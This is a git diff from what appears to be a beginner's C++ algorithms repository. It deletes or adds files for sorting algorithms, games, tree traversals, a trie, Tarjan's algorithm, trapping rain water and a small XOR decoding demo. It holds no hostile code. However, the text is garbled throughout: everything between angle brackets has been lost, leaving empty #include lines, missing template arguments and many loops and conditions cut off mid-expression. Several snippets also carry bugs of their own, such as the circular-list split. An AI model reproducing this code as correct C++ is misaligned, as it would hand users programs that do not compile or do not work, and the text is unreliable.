(rand() % 100) * dsp + strtX; - e2 = (rand() % 100) * dsp + strtY; - } while(test()); - int x = getcolor(); - setcolor(7); - setfillstyle(1,random(15)+1); - fillellipse(e1,e2,xr+2,xr+2); - setcolor(x); - egGen = 2; -} -int Snake::test() -{ -for(int i=0;i= endX+1) || (e2 >= endY+1)) - break; - } - if(i != n) - return 1; - else - return 0; -} -void main() -{ -Snake snk; - int gd=DETECT,gm,i,j,k,x,y; - clrscr(); - initgraph(&gd,&gm,"C:\\Turboc3\\bgi"); - snk.init(); - snk.move(); - closegraph(); - restorecrtmode(); - } diff --git a/Add Code Here/C++/Sort_array_of0s,1sand2.cpp b/Add Code Here/C++/Sort_array_of0s,1sand2.cpp deleted file mode 100644 index 448247a7d06..00000000000 --- a/Add Code Here/C++/Sort_array_of0s,1sand2.cpp +++ /dev/null @@ -1,62 +0,0 @@ -//{ Driver Code Starts -#include -using namespace std; - - - -// } Driver Code Ends -class Solution -{ - public: - void sort012(int a[], int n) - { - // coode here - int z=0,o=0,t=0; - - for(int i=0; i> t; - - while(t--){ - int n; - cin >>n; - int a[n]; - for(int i=0;i> a[i]; - } - - Solution ob; - ob.sort012(a, n); - - for(int i=0;i -#include // STL function header for algos. - -using namespace std; -//Inbuilt Sort Function (STL) - -//Define Comparator function. -bool compare (int g, int h){ - return g>n; - for( int i =0 ;i < n ; i++){ - cin>>a[i]; - } - - sort(a,a+n,compare); - - for( int i =0 ;i < n ; i++){ - cout< -using namespace std; - -int main(){ - int n,m; - cin>>n>>m; - int x; - cin>>x; - int a[n][m]; - -for(int i=0;i>a[i][j]; - } - - int r=0,c=m-1; - - bool check =false; - -while(r=0){ - - if(a[r][c]==x){ - check =true; - } - - if(x>a[r][c]){ - r++; - } - else { - c--; - } - - -} -if(check){ - cout<<"Found "; -}else -cout<<"not found"; - - -} \ No newline at end of file diff --git a/Add Code Here/C++/Sorting Algorithms/Heapsort.cpp b/Add Code Here/C++/Sorting Algorithms/Heapsort.cpp deleted file mode 100644 index 8d01d0f411c..00000000000 --- a/Add Code Here/C++/Sorting Algorithms/Heapsort.cpp +++ /dev/null @@ -1,73 +0,0 @@ -// C++ program for implementation of Heap Sort - -#include -using namespace std; - - -void heapify(int arr[], int N, int i) -{ - - - int largest = i; - - // left = 2*i + 1 - int l = 2 * i + 1; - - // right = 2*i + 2 - int r = 2 * i + 2; - - // If left child is larger than root - if (l < N && arr[l] > arr[largest]) - largest = l; - - - if (r < N && arr[r] > arr[largest]) - largest = r; - - - if (largest != i) { - swap(arr[i], arr[largest]); - - - heapify(arr, N, largest); - } -} - -void heapSort(int arr[], int N) -{ - - - for (int i = N / 2 - 1; i >= 0; i--) - heapify(arr, N, i); - - - for (int i = N - 1; i > 0; i--) { - - - swap(arr[0], arr[i]); - - - heapify(arr, i, 0); - } -} - - -void printArray(int arr[], int N) -{ - for (int i = 0; i < N; ++i) - cout << arr[i] << " "; - cout << "\n"; -} - - -int main() -{ - int arr[] = { 12, 11, 13, 5, 6, 7 }; - int N = sizeof(arr) / sizeof(arr[0]); - - // Function call - heapSort(arr, N); - - cout << "Sorted array is \n"; - printArray(arr, N); -} diff --git a/Add Code Here/C++/Sorting Algorithms/bubbleSort.cpp b/Add Code Here/C++/Sorting Algorithms/bubbleSort.cpp deleted file mode 100644 index bce488da7d5..00000000000 --- a/Add Code Here/C++/Sorting Algorithms/bubbleSort.cpp +++ /dev/null @@ -1,26 +0,0 @@ -#include - -using namespace std; - -// BUBBLE SORT -//------------------------------------------------------- - -void bubbleSort(vector &v, int n) { - bool swapped = true; - int i = 0; - - while (i < n - 1 && swapped) { // keep going while we swap in the unordered part - swapped = false; - - for (int j = n - 1; j > i; j--) { // unordered part - - if (v[j] < v[j - 1]) { - swap(v[j], v[j - 1]); - swapped = true; - } - } - i++; - } -} - - diff --git a/Add Code Here/C++/Sorting Algorithms/bucketsort.cpp b/Add Code Here/C++/Sorting Algorithms/bucketsort.cpp deleted file mode 100644 index e4ee92afb75..00000000000 --- a/Add Code Here/C++/Sorting Algorithms/bucketsort.cpp +++ /dev/null @@ -1,43 +0,0 @@ -#include -#include -#include -using namespace std; - -// Function to sort arr[] of -// size n using bucket sort -void bucketSort(float arr[], int n) -{ - - // 1) Create n empty buckets - vector b[n]; - - // 2) Put array elements - // in different buckets - for (int i = 0; i < n; i++) { - int bi = n * arr[i]; // Index in bucket - b[bi].push_back(arr[i]); - } - - // 3) Sort individual buckets - for (int i = 0; i < n; i++) - sort(b[i].begin(), b[i].end()); - - // 4) Concatenate all buckets into arr[] - int index = 0; - for (int i = 0; i < n; i++) - for (int j = 0; j < b[i].size(); j++) - arr[index++] = b[i][j]; -} - -/* Driver program to test above function */ -int main() -{ - float arr[]= { 5.3, 5.4, 5.5, 4.8, 3.7, 5.45, 5.35 }; - int n = sizeof(arr) / sizeof(arr[0]); - bucketSort(arr, n); - - cout << "Sorted array is \n"; - for (int i = 0; i < n; i++) - cout << arr[i] << " "; - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/Sorting Algorithms/insertionSort.cpp b/Add Code Here/C++/Sorting Algorithms/insertionSort.cpp deleted file mode 100644 index 492ab4a3ddb..00000000000 --- a/Add Code Here/C++/Sorting Algorithms/insertionSort.cpp +++ /dev/null @@ -1,26 +0,0 @@ -#include - -using namespace std; - -// INSERTION SORT -//------------------------------------------------------------ - -void insertionSort(vector &v, int n) { - int current, pos; - - for (int i = 1; i < n; i++) { - current = v[i]; - pos = i; // limit of the ordered part, pos not included - - // we make space - while (pos > 0 && v[pos - 1] > current) { - v[pos] = v[pos - 1]; - pos--; - } - - // we move the current value to its position - if (pos != i) - v[pos] = current; - } -} - diff --git a/Add Code Here/C++/Sorting Algorithms/mergeSort.cpp b/Add Code Here/C++/Sorting Algorithms/mergeSort.cpp deleted file mode 100644 index e428223ff38..00000000000 --- a/Add Code Here/C++/Sorting Algorithms/mergeSort.cpp +++ /dev/null @@ -1,56 +0,0 @@ -#include - -using namespace std; - -// MERGESORT -// ------------------------------------------------------------------------- - -// Merge -void merge(vector &v, int start, int mid, int end) -{ - vector aux(v.size()); - int i = start; // begin of the first part - int j = mid + 1; // begin of the second part - int k = start; // start of the aux vector - - - // Elements in both parts - while (i <= mid && j <= end) { - if (v[i] < v[j]) - aux[k] = v[i++]; - else - aux[k] = v[j++]; - - k++; - } - - // Left part has elements - while (i <= mid) { - aux[k] = v[i++]; - k++; - } - - // Right part has elements - while (j <= end) { - aux[k] = v[j++]; - k++; - } - - // Copy the vector - for (int i = start; i <= end; i++) { - v[i] = aux[i]; - } - -} - -// Merge sort -void mergeSort(vector &v, int start, int end) { - - if (start < end) { - int m = (start + end) / 2; - mergeSort(v, start, m); - mergeSort(v, m + 1, end); - merge(v, start, m, end); - } -} - diff --git a/Add Code Here/C++/Sorting Algorithms/quickSort.cpp b/Add Code Here/C++/Sorting Algorithms/quickSort.cpp deleted file mode 100644 index 5eb651f2ed9..00000000000 --- a/Add Code Here/C++/Sorting Algorithms/quickSort.cpp +++ /dev/null @@ -1,41 +0,0 @@ -#include - -using namespace std; - -// QUICKSORT -// ------------------------------------------------------------------------- - -// Partition function -int partition(vector &v, int start, int end) { - - int pivot = start; // Take the first element as a pivot - int i = start + 1; - int j = end; - - while (i <= j) { - - // If element at the left is bigger than the pivot and - // element at the right is smaller, swap elements - - if (v[i] > v[pivot] && v[j] < v[pivot]) { - swap(v[i], v[j]); - } - else if (v[i] <= v[pivot]) { i++; } - else if (v[j] >= v[pivot]) { j--; } - } - - // we swap the pivot into the right position - swap(v[j], v[pivot]); - return j; -} - -// QuickSort -void quickSort(vector &v, int start, int end) { - - if (start < end) { - int pivot = partition(v, start, end); - quickSort(v, start, pivot); - quickSort(v, pivot + 1, end); - } -} - diff --git a/Add Code Here/C++/Sorting Algorithms/selectionSort.cpp b/Add Code Here/C++/Sorting Algorithms/selectionSort.cpp deleted file mode 100644 index 9d8560d0132..00000000000 --- a/Add Code Here/C++/Sorting Algorithms/selectionSort.cpp +++ /dev/null @@ -1,26 +0,0 @@ -#include - -using namespace std; - -// SELECTION SORT -//------------------------------------------------------- - -void selectionSort(vector &v, int n) { - int minPosition, aux; - - for (int i = 0; i < n - 1; i++) { - minPosition = i; // suppose "i" is the minimum - - for (int j = i + 1; j < n; j++) { // find the "min" element in the unsorted part - - if (v[j] < v[minPosition]) { - minPosition = j; - } - } - // swap the found "min" element to the sorted part - if (minPosition > i) { - swap(v[minPosition], v[i]); - } - } - -} diff --git a/Add Code Here/C++/Split a circulart Linkedlist into 2 halves.txt b/Add Code Here/C++/Split a circulart Linkedlist into 2 halves.txt deleted file mode 100644 index 2924b654eab..00000000000 --- a/Add Code Here/C++/Split a circulart Linkedlist into 2 halves.txt +++ /dev/null @@ -1,23 +0,0 @@ -1. find the middle -2. point middle to head -3 traverse another part -5 point the last to the first one - -Void splitList(Node*head, Node*head1, Node*head2){ - Node*slow = head; - Node*fast=head; - - while(head!=fast && fast->next!=head){ - slow=slow->next; - fast=fast->next->next; - } - head1=head; - head2=slow->next; - - slow->next=head1; - Node*current= head2; - while(current!=head){ - current=current->next; - } - current->next=head; -} \ No newline at end of file diff --git a/Add Code Here/C++/Stack implementation using Queue b/Add Code Here/C++/Stack implementation using Queue new file mode 100644 index 00000000000..0036a5f1efc --- /dev/null +++ b/Add Code Here/C++/Stack implementation using Queue @@ -0,0 +1,66 @@ +/* Program to implement a stack using +two queue */ +#include + +using namespace std; + +class Stack { + // Two inbuilt queues + queue q1, q2; + +public: + void push(int x) + { + // Push x first in empty q2 + q2.push(x); + + // Push all the remaining + // elements in q1 to q2. + while (!q1.empty()) { + q2.push(q1.front()); + q1.pop(); + } + + // swap the names of two queues + queue q = q1; + q1 = q2; + q2 = q; + } + + void pop() + { + // if no elements are there in q1 + if (q1.empty()) + return; + q1.pop(); + } + + int top() + { + if (q1.empty()) + return -1; + return q1.front(); + } + + int size() { return q1.size(); } +}; + +// Driver code +int main() +{ + Stack s; + s.push(1); + s.push(2); + s.push(3); + + cout << "current size: " << s.size() << endl; + cout << s.top() << endl; + s.pop(); + cout << s.top() << endl; + s.pop(); + cout << s.top() << endl; + + cout << "current size: " << s.size() << endl; + return 0; +} +// This code is contributed by Chhavi diff --git a/Add Code Here/C++/SubsetSum_Backtracking.cpp b/Add Code Here/C++/SubsetSum_Backtracking.cpp deleted file mode 100644 index 2afc1c35b9b..00000000000 --- a/Add Code Here/C++/SubsetSum_Backtracking.cpp +++ /dev/null @@ -1,106 +0,0 @@ -#include -using namespace std; - -#define ARRAYSIZE(a) (sizeof(a))/(sizeof(a[0])) -static int total_nodes; - -// prints subset found -void printSubset(int A[], int size) -{ - for(int i = 0; i < size; i++) - { - cout<<" "<< A[i]; - } - cout<<"\n"; -} - -// qsort compare function -int comparator(const void *pLhs, const void *pRhs) -{ - int *lhs = (int *)pLhs; - int *rhs = (int *)pRhs; - return *lhs > *rhs; -} - -// inputs -// s - set vector -// t - tuplet vector -// s_size - set size -// t_size - tuplet size so far -// sum - sum so far -// ite - nodes count -// target_sum - sum to be found -void subset_sum(int s[], int t[], - int s_size, int t_size, - int sum, int ite, - int const target_sum) -{ - total_nodes++; - - if( target_sum == sum ) - { - // We found sum - printSubset(t, t_size); - - // constraint check - if( ite + 1 < s_size && sum - s[ite] + s[ite + 1] <= target_sum ) - { - - // Exclude previous added item and consider next candidate - subset_sum(s, t, s_size, t_size - 1, sum - s[ite], ite + 1, target_sum); - } - return; - } - else - { - - // constraint check - if( ite < s_size && sum + s[ite] <= target_sum ) - { - - // generate nodes along the breadth - for( int i = ite; i < s_size; i++ ) - { - t[t_size] = s[i]; - if( sum + s[i] <= target_sum ) - { - - // consider next level node (along depth) - subset_sum(s, t, s_size, t_size + 1, sum + s[i], i + 1, target_sum); - } - } - } - } -} - -// Wrapper that prints subsets that sum to target_sum -void generateSubsets(int s[], int size, int target_sum) -{ - int *tuplet_vector = (int *)malloc(size * sizeof(int)); - int total = 0; - - // sort the set - qsort(s, size, sizeof(int), &comparator); - for( int i = 0; i < size; i++ ) - { - total += s[i]; - } - if( s[0] <= target_sum && total >= target_sum ) - { - subset_sum(s, tuplet_vector, size, 0, 0, 0, target_sum); - } - free(tuplet_vector); -} - -// Driver code -int main() -{ - int weights[] = {15, 22, 14, 26, 32, 9, 16, 8}; - int target = 53; - int size = ARRAYSIZE(weights); - generateSubsets(weights, size, target); - cout << "Nodes generated " << total_nodes; - return 0; -} - -//This code is contributed by shivanisinghss2110 diff --git a/Add Code Here/C++/Sum_array b/Add Code Here/C++/Sum_array deleted file mode 100644 index 6cd89d901ef..00000000000 --- a/Add Code Here/C++/Sum_array +++ /dev/null @@ -1,13 +0,0 @@ -#include -using namespace std; -int main() -{ int sum=0; - cout<<"sum of an array "; - int S[]={2,2,2,2,2,2,2}; - for(int i=0;i<=6;i++) - sum = sum+S[i]; - cout< -using namespace std; - -int main() { - // your code goes here - int t; - cin>>t; - while(t--) - { - int n; - cin>>n; - string s; - cin>>s; - string T =""; - int i=0; - int j=n-1; - while(i<=j) - { - if(s[i]=='0') - { - T=s[i]+T; - } - else{ - T=T+s[i]; - } - if(i -using namespace std; -int swap(int *a,int *b){ - int temp; - temp=*a; - *a=*b; - *b=temp; - -} -int main(){ - int x, y; - cout<<"enter 2 no:"; - cin>>x>>y; - int z=swap( &x,&y); - cout<<"after swapping: "< -using namespace std; -int swap(int a,int b){ - int temp; - temp=a; - a=b; - b=temp; - cout<<"after swapping: "<>x>>y; - int z=swap(x,y); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/SwapByReference.exe b/Add Code Here/C++/SwapByReference.exe deleted file mode 100644 index 913bc2c56bb..00000000000 Binary files a/Add Code Here/C++/SwapByReference.exe and /dev/null differ diff --git a/Add Code Here/C++/SwapByValue.cpp b/Add Code Here/C++/SwapByValue.cpp deleted file mode 100644 index c07f9f47388..00000000000 --- a/Add Code Here/C++/SwapByValue.cpp +++ /dev/null @@ -1,17 +0,0 @@ -//swap two numbers by using call by value method -#include -using namespace std; -int swap(int a,int b){ - int temp; - temp=a; - a=b; - b=temp; - cout<<"after swapping: "<>x>>y; - int z=swap(x,y); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/SwapByValue.exe b/Add Code Here/C++/SwapByValue.exe deleted file mode 100644 index 0130f377e93..00000000000 Binary files a/Add Code Here/C++/SwapByValue.exe and /dev/null differ diff --git a/Add Code Here/C++/Switch-Case Statements b/Add Code Here/C++/Switch-Case Statements new file mode 100644 index 00000000000..5a6ab68e1d2 --- /dev/null +++ b/Add Code Here/C++/Switch-Case Statements @@ -0,0 +1,27 @@ +#include +using namespace std; +int main(){ + char a; + cin>>a; + + switch (a) //putting conditions on 'a' + { + case 'a': // checking if the value of a is 'a' + cout<<"Hello"; + break; + case 'b': + cout<<"Namaste"; + break; + case 'c': + cout<<"Salute"; + break; + case 'd': + cout<<"Halo"; + break; + + default: + cout<<"Enter a, b, c, d only"; + break; + } + return 0; +} diff --git a/Add Code Here/C++/TarzanAlgo.cpp b/Add Code Here/C++/TarzanAlgo.cpp deleted file mode 100644 index 0b556cbe8d2..00000000000 --- a/Add Code Here/C++/TarzanAlgo.cpp +++ /dev/null @@ -1,70 +0,0 @@ -#include -using namespace std; - -void dfs(vector adj[],vector& low,vector& disc, vector& instack, stack& s, vector>& ans, int u) -{ - static int t=0; - static int count=0; - disc[u]=t; - low[u]=t; - t++; - instack[u]=1; - s.push(u); - - for(int v:adj[u]) - { - if(disc[v]==-1) - { - dfs(adj,low,disc,instack,s,ans,v); - low[u] = min(low[u],low[v]); - } - else if(instack[v]) - low[u] = min(low[u],disc[v]); - } - - if(low[u]==disc[u]) - { - ans.resize(count+1); - cout< adj[]) - { - vector> ans; - vector low(V,-1),disc(V,-1),instack(V,0); - stack s; - - for(int i=0; i>V>>E; - - vector adj[V]; - - for(int i=0; i>u>>v; - adj[u].push_back(v); - } - - tarjans(V,adj); -} diff --git a/Add Code Here/C++/TicTacToe.cpp b/Add Code Here/C++/TicTacToe.cpp deleted file mode 100644 index 5eeeca6843e..00000000000 --- a/Add Code Here/C++/TicTacToe.cpp +++ /dev/null @@ -1,149 +0,0 @@ -#include -using namespace std; - -char square[10] = {'o','1','2','3','4','5','6','7','8','9'}; - -int checkwin(); -void board(); - -int main() -{ - int player = 1,i,choice; - - char mark; - do - { - board(); - player=(player%2)?1:2; - - cout << "Player " << player << ", enter a number: "; - cin >> choice; - - mark=(player == 1) ? 'X' : 'O'; - - if (choice == 1 && square[1] == '1') - - square[1] = mark; - else if (choice == 2 && square[2] == '2') - - square[2] = mark; - else if (choice == 3 && square[3] == '3') - - square[3] = mark; - else if (choice == 4 && square[4] == '4') - - square[4] = mark; - else if (choice == 5 && square[5] == '5') - - square[5] = mark; - else if (choice == 6 && square[6] == '6') - - square[6] = mark; - else if (choice == 7 && square[7] == '7') - - square[7] = mark; - else if (choice == 8 && square[8] == '8') - - square[8] = mark; - else if (choice == 9 && square[9] == '9') - - square[9] = mark; - else - { - cout<<"Invalid move "; - - player--; - cin.ignore(); - cin.get(); - } - i=checkwin(); - - player++; - }while(i==-1); - board(); - if(i==1) - - cout<<"==>\aPlayer "<<--player<<" win "; - else - cout<<"==>\aGame draw"; - - cin.ignore(); - cin.get(); - return 0; -} - -/********************************************* - FUNCTION TO RETURN GAME STATUS - 1 FOR GAME IS OVER WITH RESULT - -1 FOR GAME IS IN PROGRESS - O GAME IS OVER AND NO RESULT -**********************************************/ - -int checkwin() -{ - if (square[1] == square[2] && square[2] == square[3]) - - return 1; - else if (square[4] == square[5] && square[5] == square[6]) - - return 1; - else if (square[7] == square[8] && square[8] == square[9]) - - return 1; - else if (square[1] == square[4] && square[4] == square[7]) - - return 1; - else if (square[2] == square[5] && square[5] == square[8]) - - return 1; - else if (square[3] == square[6] && square[6] == square[9]) - - return 1; - else if (square[1] == square[5] && square[5] == square[9]) - - return 1; - else if (square[3] == square[5] && square[5] == square[7]) - - return 1; - else if (square[1] != '1' && square[2] != '2' && square[3] != '3' - && square[4] != '4' && square[5] != '5' && square[6] != '6' - && square[7] != '7' && square[8] != '8' && square[9] != '9') - - return 0; - else - return -1; -} - - -/******************************************************************* - FUNCTION TO DRAW BOARD OF TIC TAC TOE WITH PLAYERS MARK -********************************************************************/ - - -void board() -{ - system("cls"); - cout << "\n\n\tTic Tac Toe\n\n"; - - cout << "Player 1 (X) - Player 2 (O)" << endl << endl; - cout << endl; - - cout << " | | " << endl; - cout << " " << square[1] << " | " << square[2] << " | " << square[3] << endl; - - cout << "_____|_____|_____" << endl; - cout << " | | " << endl; - - cout << " " << square[4] << " | " << square[5] << " | " << square[6] << endl; - - cout << "_____|_____|_____" << endl; - cout << " | | " << endl; - - cout << " " << square[7] << " | " << square[8] << " | " << square[9] << endl; - - cout << " | | " << endl << endl; -} - -/******************************************************************* - Thank You Very Much -********************************************************************/ diff --git a/Add Code Here/C++/Topological Sort.cpp b/Add Code Here/C++/Topological Sort.cpp deleted file mode 100644 index 8737b9b8502..00000000000 --- a/Add Code Here/C++/Topological Sort.cpp +++ /dev/null @@ -1,46 +0,0 @@ -#include -using namespace std; - -void traverseTopoSort(vector adj[],vector& vis,stack &st,int node ){ - vis[node]=1; - for(auto it: adj[node]){ - if(!vis[it]){ - traverseTopoSort(adj,vis,st,it); - } - } - st.push(node); -} - -vector topoSort(vector adj[],int n){ - vector vis(n,0); - stack st; - for(int i =0;i v; - while(!st.empty()){ - v.push_back(st.top()); - st.pop(); - } - return v; -} - -int main(){ - int n,m; - cout<<"Enter the number of Node :-"<>n>>m; - vector adj[n]; - for(int i =0;i>x>>y; - adj[x].push_back(y); - } - - vector v = topoSort(adj,n); - for(auto it: v){ - cout<< it<<" "; - } - cout< - -using namespace std; - -int trap(vector &height) -{ - int n = height.size(); - vector maxFromLeft(n), maxFromRight(n); - maxFromLeft[0] = height[0]; - maxFromRight[n - 1] = height[n - 1]; - for (int i = 1; i < n; ++i) - maxFromLeft[i] = max(maxFromLeft[i - 1], height[i]); - for (int i = n - 2; i >= 0; --i) - maxFromRight[i] = max(maxFromRight[i + 1], height[i]); - - int ans = 0; - for (int i = 0; i < n; ++i) - { - ans += min(maxFromLeft[i] - height[i], maxFromRight[i] - height[i]); - } - - return ans; -} - -int main(){ - int n; cin>>n; - vector v(n); - for(int i=0; i>v[i]; - int result = trap(v); - cout< -using namespace std; - -int maxWater(int arr[], int n) -{ - int left = 0; - int right = n-1; - int l_max = 0; - int r_max = 0; - int result = 0; - while (left <= right) - { - if(r_max <= l_max) - { - result += max(0, r_max-arr[right]); - r_max = max(r_max, arr[right]); - right -= 1; - } - else - { - result += max(0, l_max-arr[left]); - l_max = max(l_max, arr[left]); - left += 1; - } - } - return result; -} - -int main() { - int n; - cin>>n; - int arr[n]; - for(int i=0;i>arr[i]; - cout << maxWater(arr, n) << endl; - return 0; -} diff --git a/Add Code Here/C++/TrappingRainWater.cpp b/Add Code Here/C++/TrappingRainWater.cpp deleted file mode 100644 index 7c71e9777e2..00000000000 --- a/Add Code Here/C++/TrappingRainWater.cpp +++ /dev/null @@ -1,32 +0,0 @@ -#include -#include -#include -using namespace std; -int trap(vector& height) { - int n=height.size(); - vectorleft(n),right(n); - left[0]=height[0]; - for(int i=1;i=0;i--){ - right[i]=max(right[i+1],height[i]); - } - int ans=0; - for(int i=0;iheight; - cin>>n; - for(int i=0;i>a; - height.push_back(a); - } - cout< -using namespace std; - -int getWater(int [], int); - -int main() -{ - int n, ar[50]; - cout << "Enter the size of the bars: "; - cin >> n; - for(int i = 0; i=0; i--) - { - rmax[i] = max(arr[i], rmax[i+1]); //Need to compare ith bar with min(lmax % rmax) - } - for(int i = 1; i -using namespace std; - -struct Node -{ - int key; - Node *left; - Node *right; - Node(int k) - { - key = k; - left = right = NULL; - } -}; - -void inorder(Node *root) // time comp O(n) aux space O(h) , n is the number of node and h is the height of the tree -{ - if (root != NULL) - { - inorder(root->left); - cout << (root->key) << " "; - inorder(root->right); - } -} -void postorder(Node *root) // time comp O(n) aux space O(h) , n is the number of node and h is the height of the tree -{ - if (root != NULL) - { - postorder(root->left); - postorder(root->right); - cout << (root->key) << " "; - } -} -void preorder(Node *root) // time comp O(n) aux space O(h) , n is the number of node and h is the height of the tree -{ - if (root != NULL) - { - cout << (root->key) << " "; - preorder(root->left); - preorder(root->right); - } -} -void iterativeInorder(Node *root) -{ - stack s; - Node *curr = root; - while (curr != NULL || !s.empty()) - { - while (curr != NULL) - { - s.push(curr); - curr = curr->left; - } - curr = s.top(); - s.pop(); - cout << (curr->key) << " "; - curr = curr->right; - } -} -void OptimizediterativePreorder(Node *root) -{ - stack s; - Node *curr = root; - while (curr != NULL || !s.empty()) - { - while (curr != NULL) - { - cout << curr->key << " "; - if (curr->right != NULL) - s.push(curr); - curr = curr->left; - } - curr = s.top(); - s.pop(); - curr = curr->right; - } -} -void iterativePostorder(Node *root) -{ - stack s; - Node *curr = root; - Node *prev = NULL; - while (curr != NULL || !s.empty()) - { - while (curr != NULL) - { - s.push(curr); - curr = curr->left; - } - curr = s.top(); - if (curr->right == NULL || curr->right == prev) - { - cout << (curr->key) << " "; - s.pop(); - prev = curr; - curr = NULL; - } - else - curr = curr->right; - } -} -int size(Node *root) // time comp O(n) aux sapce O(h) -{ - if (root == NULL) - { - return 0; - } - return (1 + size(root->left) + size(root->right)); -} -int getMax(Node *root) // time comp O(n) aux sapce O(h) -{ - - if (root == NULL) - { - return -1; - } - - return (max(root->key, max(getMax(root->left), getMax(root->right)))); -} -int height(Node *root) // time comp O(n) aux sapce O(h) -{ - if (root == NULL) - { - return 0; - } - return (1 + max(height(root->left), height(root->right))); -} - -int main() -{ - // an empty tree is represented by null; - // Node *root = NULL; - - Node *root = new Node(10); - root->left = new Node(20); - root->left->right = new Node(50); - root->left->right->left = new Node(70); - root->left->right->right = new Node(80); - root->right = new Node(30); - root->left->left = new Node(40); - root->right->right = new Node(60); - cout << "Size of the tree : " << size(root) << endl; - cout << "Max value in the tree : " << getMax(root) << endl; - cout << "Height of the tree " << height(root) << endl; - cout << "Inorder traversal : "; - inorder(root); - - cout << "\nPreorder traversal : "; - preorder(root); - - cout << "\nPostorder traversal : "; - postorder(root); - - cout << "\nIterative Inorder traversal : "; - iterativeInorder(root); - - cout << "\nOptimized Iterative Preorder traversal : "; - OptimizediterativePreorder(root); - - cout << "\nIterative Postorder traversal : "; - iterativePostorder(root); -} \ No newline at end of file diff --git a/Add Code Here/C++/TreeTraversal.cpp b/Add Code Here/C++/TreeTraversal.cpp deleted file mode 100644 index d0225230b8c..00000000000 --- a/Add Code Here/C++/TreeTraversal.cpp +++ /dev/null @@ -1,78 +0,0 @@ -#include -using namespace std; -class Node{ - public: - int data; - Node* left,*right; - Node(int x){ - data=x; - left=NULL; - right=NULL; - } -}; -void inorder(Node* root){ - if(root==NULL){ - return; - } - inorder(root->left); - cout<data<<" "; - inorder(root->right); -} -void preorder(Node* root){ - if(root==NULL){ - return; - } - - cout<data<<" "; - preorder(root->left); - preorder(root->right); -} -void postorder(Node* root){ - if(root==NULL){ - return; - } - postorder(root->left); - postorder(root->right); - cout<data<<" "; -} -int height(Node* root){ - if(root==NULL){ - return 0; - } - int lh=height(root->left); - int rh=height(root->right); - return 1+max(lh,rh); -} -int count(Node* root){ - if(root==NULL){ - return 0; - } - - return 1+count(root->left)+count(root->right); -} -int getmax(Node* root){ - if(root==NULL){ - return INT_MIN; - } - return max(root->data,max(getmax(root->left),getmax(root->right))); -} -int main(){ - Node* root=new Node(10); - Node* temp1=new Node(20); - Node* temp2=new Node(40); - Node* temp4=new Node(50); - root->left=temp1; - root->right=temp2; - temp1->left=temp4; - inorder(root); - cout< -#define ll long long int -#define ld long long double -#define endl '\n' -using namespace std; -struct Node{ - Node *links[26]; - bool k = false; - - // Check if the key is present in the node - bool containsKey(char ch){ - return links[ch-'a']!=NULL; - } - // put function - void put(char ch,Node *node){ - links[ch-'a']=node; - } - - // get function - Node *get(char ch){ - return links[ch-'a']; - } - - // set finishing of a word - void setf(){ - k = true; - } - - // check finishing of a word - bool finish(){ - return k; - } -}; - -class Trie{ -// private: - Node *root; - public: - // Constructor - Trie(){ - root = new Node(); - } - - // Insert a word into the trie - void insert(string word){ - Node *node = root; - for(int i=0;icontainsKey(word[i])){ - node->put(word[i],new Node()); - } - // we'll simply move our node to reference trie - // if we get the characters we want to insert - node = node->get(word[i]); - } - - // Lastly set the flag value to true indicating finishing - // of the word - node->setf(); - } - - // Searching operation - bool search(string word){ - Node *node = root; - for(int i=0;icontainsKey(word[i])){ - return false; - } - // move to reference node - node = node->get(word[i]); - } - return node->finish(); - } - - /** Returns if there is any word in the trie - that starts with the given prefix. */ - bool startsWith(string prefix) { - Node *node=root; - for(int i=0;icontainsKey(prefix[i])){ - return false; - } - // move to reference node - node = node->get(prefix[i]); - } - return true; - } -}; -int main(){ - int n; - cin>>n; - Trie *obj = new Trie(); - while(n!=-1){ - string s; - cin>>s; - switch(n){ - case 1:obj->insert(s);break; - case 2:obj->search(s)?printf("True\n"):printf("False\n");break; - case 3:obj->startsWith(s)?printf("True\n"):printf("False\n");break; - default:printf("Invalid Choice\n");break; - } - cin>>n; - } -} \ No newline at end of file diff --git a/Add Code Here/C++/UniquePaths.cpp b/Add Code Here/C++/UniquePaths.cpp deleted file mode 100644 index 4d1f4d52c9d..00000000000 --- a/Add Code Here/C++/UniquePaths.cpp +++ /dev/null @@ -1,17 +0,0 @@ -class Solution { -public: - int uniquePaths(int m, int n) { - - int dp[n][m]; - for(int i=0;i st; //taking stack for keep tracking the order of the brackets.. - for(auto i:s) //iterate over each and every elements - { - if(i=='(' or i=='{' or i=='[') st.push(i); - else - { - if(st.empty() or (st.top()=='(' and i!=')') or (st.top()=='{' and i!='}') or (st.top()=='[' and i!=']')) return false; - st.pop(); - } - } - return st.empty(); - } - -}; diff --git a/Add Code Here/C++/XOR Encryption by Shifting Plaintext.cpp b/Add Code Here/C++/XOR Encryption by Shifting Plaintext.cpp deleted file mode 100644 index 18cc6e2b3d9..00000000000 --- a/Add Code Here/C++/XOR Encryption by Shifting Plaintext.cpp +++ /dev/null @@ -1,39 +0,0 @@ -// Implementation of the code in C++ -#include -using namespace std; - -int main() -{ - -// Hex String variable -string hex_s = "653cae8da8edb426052"; - -// Plain text variable -string plain = ""; - -// variable to store the XOR -// of previous digits -int x = 0; - -int l = hex_s.length(); - -// Loop for loop from the end to -// the mid section of the string -for (int i = l - 1; i > (l / 2) - 1; i--) { - string digit = ""; - digit += hex_s[i]; - - // calculation of the plaintext digit - unsigned int y = x ^ stoul(digit, nullptr, 16); - - // calculation of XOR chain - x = x ^ y; - stringstream sstream; - sstream << hex << y; - string z = sstream.str(); - plain = z[z.length() - 1] + plain; -} - -cout << plain; -} - diff --git a/Add Code Here/C++/activitySelection.cpp b/Add Code Here/C++/activitySelection.cpp deleted file mode 100644 index 520de191f26..00000000000 --- a/Add Code Here/C++/activitySelection.cpp +++ /dev/null @@ -1,88 +0,0 @@ -/* -Problem Statement => -Given N activities with their start and finish day given in array start[ ] and end[ ]. Select the maximum number of activities that can be performed by a single person, assuming that a person can only work on a single activity at a given day. -Note : Duration of the activity includes both starting and ending day. -Example - 1 -Input -> N = 2 - start[] = {2 ,1} - end[] = {2 ,2} -Output -> 1 -Explanation - A person can perform only one of the given activities. - - -Example - 2 -Input-> N = 4 - start[] = {1 ,3 ,2 ,5} - end[] = {2 ,4 ,3, 6} -Output -> 3 -Explanation -> A person can perform activities 1, 2 and 4. - - -Your Task : -You don't need to read input or print anything. Your task is to complete the function activityselection() which takes array start[ ], array end[ ] and integer N as input parameters and returns the maximum number of activities that can be done. - -*/ -//{ Driver Code Starts -#include -using 